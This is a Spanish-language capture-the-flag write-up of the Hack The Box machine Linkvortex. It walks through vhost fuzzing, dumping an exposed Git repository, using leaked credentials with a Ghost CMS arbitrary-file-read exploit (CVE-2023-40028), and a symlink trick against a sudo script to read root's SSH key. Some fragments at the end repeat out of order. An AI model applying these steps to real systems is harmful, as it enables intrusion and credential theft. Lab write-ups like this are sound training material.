Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
          • Linkvortex
          • Underpass
        • Medium
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard
      • Windows
        • Easy
          • Jerry
          • NetMon
        • Medium
        • Hard
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy

Linkvortex

PreviousEditorialNextUnderpass

Last updated 2 days ago

Publicado: 07 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Linkvortex es una máquina Linux de dificultad Easy de HackTheBox que presenta un CMS Ghost vulnerable (versión 5.58) con una vulnerabilidad de lectura arbitraria de archivos (CVE-2023-40028). La escalada de privilegios se realiza mediante la explotación de un script personalizado que procesa enlaces simbólicos de forma insegura.

🎯 Objetivos de Aprendizaje

  • Enumeración web y descubrimiento de subdominios

  • Explotación de repositorios Git expuestos

  • Aprovechamiento de vulnerabilidades en Ghost CMS

  • Lectura de archivos sensibles del sistema

  • Escalada de privilegios mediante manipulación de enlaces simbólicos

🏷️ Categorías

  • Web Exploitation

  • Information Disclosure

  • Git Repository Enumeration

  • Privilege Escalation

  • Symlink Attack

🛠️ Herramientas Utilizadas

  • nmap - Escaneo de puertos y servicios

  • dirsearch / feroxbuster - Fuzzing de directorios

  • ffuf - Fuzzing de virtual hosts

  • git_dumper - Extracción de repositorios Git

  • Exploit CVE-2023-40028 para Ghost 5.58

🔭 Reconocimiento

Ping para verificación en base a TTL

❯ ping -c2 10.10.11.47               
PING 10.10.11.47 (10.10.11.47) 56(84) bytes of data.
64 bytes from 10.10.11.47: icmp_seq=1 ttl=63 time=47.1 ms
64 bytes from 10.10.11.47: icmp_seq=2 ttl=63 time=47.0 ms

--- 10.10.11.47 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 46.983/47.062/47.142/0.079 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos TCP

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.47 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports                                        
22,80

Enumeración de servicios

❯ nmap -sC -sV -p$ports 10.10.11.47 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 20:12 CEST
Nmap scan report for 10.10.11.47
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

80 HTTP (linkvortex.htb)

No encontramos gran cosa al enumerar el sitio de forma manual. La opción de registro no está implementada ni tampoco hay formularios en la web.

👻 Identificación de Ghost CMS

Buscando información sobre este software encontré que es una aplicación para crear contenido, un CMS: https://ghost.org/

Al buscar información sobre este software también encontré que había tenido vulnerabilidades y en concreto parece que tuvo una vulnerabilidad de tipo Arbitrary File Read en la versión 5.58:

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

Pero echemos un ojo primero a ver si encontramos algo realizando fuzzing.

📂 Fuzzing de directorios

Tras probar a realizar fuzzing de directorios con dirsearch y ferxobuster encontramos algunos recursos que añadir a nuestro scope:

dirsearch -u http://10.10.11.47 -x 503
feroxbuster -u http://linkvortex.htb -r  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml

Uno de ellos nos permite saber que hay un usuario admin, ya todos los post son de este usuario.

🔐 Panel de autenticación

Revisando el panel de login, nos pide una cuenta de correo como usuario. Si probamos con el nombre de usuario encontrado y el dominio vemos que parece ser válido, ya que si introducimos otro distinto el mensaje de error es diferente:

http://linkvortex.htb/ghost

Una opción a valorar sería usar hydra y un ataque de diccionario para ver si logramos la contraseña, pero como este probablemente sería un proceso largo, continuemos primero enumerando para ver si existen también otros subdominios.

🔧 Subdominio de desarrollo (dev.linkvortex.htb)

Fuzzing de vhosts

Al realizr fuzzing de vhosts encontramos un subdominio llamado dev que procedemos a añadir a nuestro fichero /etc/hosts

ffuf -u http://10.10.11.47 -H "Host: FUZZ.linkvortex.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -mc all -fs 230

Al acceder encontramos que el sitio parece estar todavía en construcción

📂 Fuzzing del subdominio dev

Al realizar fuzzing sobre este subdominio encontramos un repositorio en git:

dirsearch -u http://dev.linkvortex.htb -x 503   

⬇️ Extracción del repositorio Git

Podemos usar la herramienta git_dumper para descargar el repositorio a nuestro host de ataque.

git_dumper http://dev.linkvortex.htb/.git/ git-dump-linkvortex
git status
git diff --cached Dockerfile.ghost

Vemos que hay un archivo de configuración en /var/lib/ghost/config.production.json

🗝️ Descubrimiento de credenciales

Revisemos primero las diferencias del otro archivo que habíamos visto:

git diff --cached ghost/core/test/regression/api/admin/authentication.test.js

La cosa se pone interesante porque aquí encontramos una contraseña. Vamos a probar esta contraseña OctopiFociPilfer45 con la cuenta del usuario admin@linkvortex.htb y comprobemos si mereció la pena seguir enumerando en lugar de intentar el ataque de fuerza bruta con hydra:

Estamos dentro! Esto se pone interesante, ya que el exploit que vimos para

💥 Explotación

./CVE-2023-40028 -u admin@linkvortex.htb -p 'OctopiFociPilfer45' -h http://linkvortex.htb  

Ahora probemos con la ruta del fichero que habíamos descubierto en el archivo de configuración del repositorio en git: /var/lib/ghost/config.production.json

File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

🔐 Acceso SSH

Encontramos una nueva credencial: bob@linkvortex.htb:fibber-talented-worth en lo que parece ser un servicio SMTP. Pero tal como vemos, este servicio no está expuesto.

Lo único que nos queda verificar es si se puede estar reutilizando esta credencial en algún otro servicio, por ejemplo el servicio ssh:

netexec ssh 10.10.11.47 -u 'bob' -p 'fibber-talented-worth' 
ssh bob@10.10.11.47           
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jun  7 17:36:35 2025 from 10.10.16.13
bob@linkvortex:~$ whoami
bob
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ 

Ganamos acceso a la máquina como usuario bob y obtenemos la primer flag en su directorio de usuario.

🚀 Escalada de privilegios

Verificamos si bob puede ejecutar algún comando como root:

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ 

📋 Análisis del script vulnerable

bob@linkvortex:~$ ls -la /opt/ghost/clean_symlink.sh
-rwxr--r-- 1 root root 745 Nov  1  2024 /opt/ghost/clean_symlink.sh
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

El script básicamente lo que hace es analizar un enlace simbólico (symlink) a una imagen .png, determinar si apunta a un archivo crítico (como algo en /etc o /root), y en ese caso eliminarlo o moverlo a cuarentena.

Vamos paso a paso:

Se define el directorio de cuarentena donde se moverán los enlaces sospechosos.

QUAR_DIR="/var/quarantined"

Comprobación de variable opcional.

  • Si la variable de entorno CHECK_CONTENT no está definida, se le asigna el valor false.

  • Esta variable indica si se debe imprimir el contenido del archivo al que apunta el symlink.

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

Captura del argumento introducido por el usuario

LINK=$1

En este if se valida la extensión del archivo que ha introducido el usuario.

  • Se verifica, usando sudo, si el archivo es un enlace simbólico (-L).

  • Si no lo es, no hace nada (fin del script).

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

Se analiza el enlace simbólico.

  • LINK_NAME: obtiene solo el nombre del archivo (sin ruta).

  • LINK_TARGET: obtiene a qué archivo apunta realmente el enlace.

LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)

Se comprueba si el enlace apunta a ficheros críticos del sistema:

if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
  /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
  /usr/bin/unlink $LINK
  • Si el destino del enlace contiene etc o root (ej. /etc/passwd o /root/.ssh/id_rsa), lo considera peligroso.

  • Imprime una advertencia y elimina el enlace simbólico con unlink.

Si no apunta a un archivo sensible, se mueve a la carpeta de cuarentena (/var/quarantined).

else
  /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
  /usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
  /usr/bin/echo "Content:"
  /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
  • Si CHECK_CONTENT está activado, intenta leer el contenido del archivo al que apuntaba el enlace.

🔗 Explotación mediante Symlink Attack

Primero, creamos un enlace simbólico (symlink) que apunte al archivo /root/root.txt:

cd /home/bob
ln -s /root/.ssh/id_rsa x3m1sec.txt

Con esto lo que estamos haciendo es crear un enlace simbólico llamado x3m1sec.txt que apunte al fichero /root/.ssh/id_rsa.txt

Recordemos que el script requiere que el archivo que le indiquemos tenga extensión .png, por lo que creamos otro enlace simbólico

ln -s /home/bob/x3m1sec.txt x3m1sec.png
  • ln -s /home/bob/x3m1sec.txt x3m1sec.png → Creamos un segundo symlink (x3m1sec.png) que apunta a x3m1sec.txt, el cual a su vez apunta a root.txt logrando de esta forma evadir el filtro del script.

Nos falta un paso todavía, ya que necesitamos que la variable esté inicializada. CHECK_CONTENT=true

sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/x3m1sec.png

¿Qué pasa aquí?

  • CHECK_CONTENT=true → Hace que el script muestre el contenido del archivo después de moverlo a /var/quarantined/.

  • /opt/ghost/clean_symlink.sh /home/bob/x3m1sec.png → El script moverá el symlink y leerá su contenido.

Obtenemos la clave ssh de root. Ahora podemos copiarla en nuestro host de ataque, darle permisos 600 y ganar acceso como root para leer la flag:

chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.47

Revisando el código fuente encontramos una etiqueta meta que hace referencia a Ghost 5.58

El repositorio está en un estado un poco extraño:

Actualmente no está en una rama, pero tiene dos archivos modificados pendientes de confirmación. Puedo ver la diferencia en cada uno de ellos usando git diff --cached. El Dockerfile.ghost es completamente nuevo:

🎮
🟩